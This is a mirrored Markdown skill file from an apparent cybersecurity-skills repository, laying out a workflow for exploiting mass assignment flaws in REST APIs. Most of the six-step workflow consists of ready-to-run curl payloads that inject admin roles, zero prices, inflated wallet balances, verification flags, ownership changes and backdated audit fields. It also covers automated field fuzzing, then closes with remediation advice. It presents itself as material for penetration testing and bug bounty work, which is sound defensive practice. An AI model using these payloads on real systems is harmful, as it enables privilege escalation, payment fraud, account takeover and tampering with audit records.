mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-13 19:05:17 +03:00
216 lines
8.6 KiB
Markdown
216 lines
8.6 KiB
Markdown
---
|
|
name: exploiting-mass-assignment-in-rest-apis
|
|
description: Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests.
|
|
domain: cybersecurity
|
|
subdomain: web-application-security
|
|
tags: [mass-assignment, api-security, privilege-escalation, rest-api, autobinding, parameter-injection, owasp-api]
|
|
version: "1.0"
|
|
author: mahipal
|
|
license: MIT
|
|
---
|
|
|
|
# Exploiting Mass Assignment in REST APIs
|
|
|
|
## When to Use
|
|
- When testing REST APIs that accept JSON input for creating or updating resources
|
|
- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
|
|
- When testing user registration, profile update, or account management endpoints
|
|
- During bug bounty hunting on applications with CRUD API operations
|
|
- When evaluating role-based access control implementation in API-driven applications
|
|
|
|
## Prerequisites
|
|
- Burp Suite or Postman for API request crafting and interception
|
|
- Understanding of ORM auto-binding behavior in common frameworks
|
|
- API documentation or endpoint discovery through reconnaissance
|
|
- Multiple user accounts with different privilege levels for testing
|
|
- Knowledge of common sensitive fields (role, isAdmin, verified, balance, price)
|
|
- Arjun or param-miner for hidden parameter discovery
|
|
|
|
## Workflow
|
|
|
|
### Step 1 — Discover API Structure and Fields
|
|
```bash
|
|
# Examine API responses to identify all object fields
|
|
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
|
|
# Response reveals fields: id, username, email, role, isAdmin, verified, balance
|
|
|
|
# Check API documentation for exposed schemas
|
|
curl http://target.com/api/docs
|
|
curl http://target.com/swagger.json
|
|
curl http://target.com/openapi.yaml
|
|
|
|
# Use Arjun for hidden parameter discovery
|
|
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
|
|
|
|
# Examine create/update request body vs response body
|
|
# The response may contain more fields than the request sends
|
|
# Those extra fields are mass assignment candidates
|
|
```
|
|
|
|
### Step 2 — Test Privilege Escalation via Role Fields
|
|
```bash
|
|
# Inject role/admin fields in profile update
|
|
curl -X PUT http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
|
|
|
|
# Try common admin field names
|
|
curl -X PATCH http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"isAdmin":true}'
|
|
|
|
curl -X PATCH http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
|
|
|
|
# Test during registration
|
|
curl -X POST http://target.com/api/register \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
|
|
```
|
|
|
|
### Step 3 — Test Financial and Business Logic Fields
|
|
```bash
|
|
# Modify price or balance fields
|
|
curl -X POST http://target.com/api/orders \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"product_id":1,"quantity":1,"price":0.01}'
|
|
|
|
# Modify account balance
|
|
curl -X PATCH http://target.com/api/wallet \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"balance":999999}'
|
|
|
|
# Modify discount or coupon fields
|
|
curl -X POST http://target.com/api/checkout \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
|
|
|
|
# Modify subscription tier
|
|
curl -X PATCH http://target.com/api/subscription \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"plan":"enterprise","price":0}'
|
|
```
|
|
|
|
### Step 4 — Test Verification and Status Fields
|
|
```bash
|
|
# Bypass email verification
|
|
curl -X PATCH http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"email_verified":true,"verified":true,"active":true}'
|
|
|
|
# Modify account status
|
|
curl -X PATCH http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"status":"active","banned":false,"suspended":false}'
|
|
|
|
# Modify ownership/organization
|
|
curl -X PATCH http://target.com/api/users/me \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
|
|
```
|
|
|
|
### Step 5 — Test Relationship and Foreign Key Manipulation
|
|
```bash
|
|
# Change resource ownership
|
|
curl -X PATCH http://target.com/api/documents/123 \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"owner_id":"admin-user-id"}'
|
|
|
|
# Assign to different group/team
|
|
curl -X PATCH http://target.com/api/projects/456 \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"team_id":"privileged-team","access_level":"write"}'
|
|
|
|
# Modify created_at/updated_at for audit log manipulation
|
|
curl -X PATCH http://target.com/api/entries/789 \
|
|
-H "Authorization: Bearer USER_TOKEN" \
|
|
-H "Content-Type: application/json" \
|
|
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
|
|
```
|
|
|
|
### Step 6 — Automate Mass Assignment Testing
|
|
```bash
|
|
# Use Burp Intruder with field names wordlist
|
|
# Wordlist of common mass assignment fields:
|
|
# role, admin, isAdmin, is_admin, user_type, privilege, level
|
|
# verified, email_verified, active, banned, suspended
|
|
# balance, credits, price, discount, plan, tier
|
|
# owner_id, organization_id, team_id, group_id
|
|
|
|
# Python automation script
|
|
python3 mass_assignment_tester.py \
|
|
--url http://target.com/api/users/me \
|
|
--method PATCH \
|
|
--token "Bearer USER_TOKEN" \
|
|
--fields-file mass_assignment_fields.txt
|
|
|
|
# Nuclei mass assignment templates
|
|
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
|
|
```
|
|
|
|
## Key Concepts
|
|
|
|
| Concept | Description |
|
|
|---------|-------------|
|
|
| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |
|
|
| Autobinding | Framework feature that maps HTTP parameters directly to object properties |
|
|
| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |
|
|
| Denylist | List of forbidden fields (less secure than allowlist approach) |
|
|
| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |
|
|
| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |
|
|
| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |
|
|
|
|
## Tools & Systems
|
|
|
|
| Tool | Purpose |
|
|
|------|---------|
|
|
| Burp Suite | API request interception and parameter injection |
|
|
| Postman | API testing and collection-based mass assignment testing |
|
|
| Arjun | Hidden parameter discovery tool for API endpoints |
|
|
| param-miner | Burp extension for discovering hidden parameters |
|
|
| OWASP ZAP | Automated API scanning with parameter injection |
|
|
| swagger-codegen | Generate API clients from OpenAPI specs for testing |
|
|
|
|
## Common Scenarios
|
|
|
|
1. **Admin Privilege Escalation** — Inject `"role":"admin"` or `"isAdmin":true` in profile update to gain administrative access
|
|
2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost
|
|
3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements
|
|
4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset
|
|
5. **Subscription Upgrade** — Inject `plan:"enterprise"` in subscription update to gain premium features without payment
|
|
|
|
## Output Format
|
|
|
|
```
|
|
## Mass Assignment Vulnerability Report
|
|
- **Target**: http://target.com/api/users/me
|
|
- **Method**: PATCH
|
|
- **Framework**: Ruby on Rails (detected via X-Powered-By)
|
|
|
|
### Findings
|
|
| # | Endpoint | Injected Field | Original | Modified | Impact |
|
|
|---|----------|---------------|----------|----------|--------|
|
|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
|
|
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
|
|
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |
|
|
|
|
### Remediation
|
|
- Implement allowlist (strong_parameters) for all model update operations
|
|
- Use DTOs/ViewModels to decouple API input from database models
|
|
- Apply field-level authorization checks on sensitive attributes
|
|
- Log and alert on attempts to modify restricted fields
|
|
```
|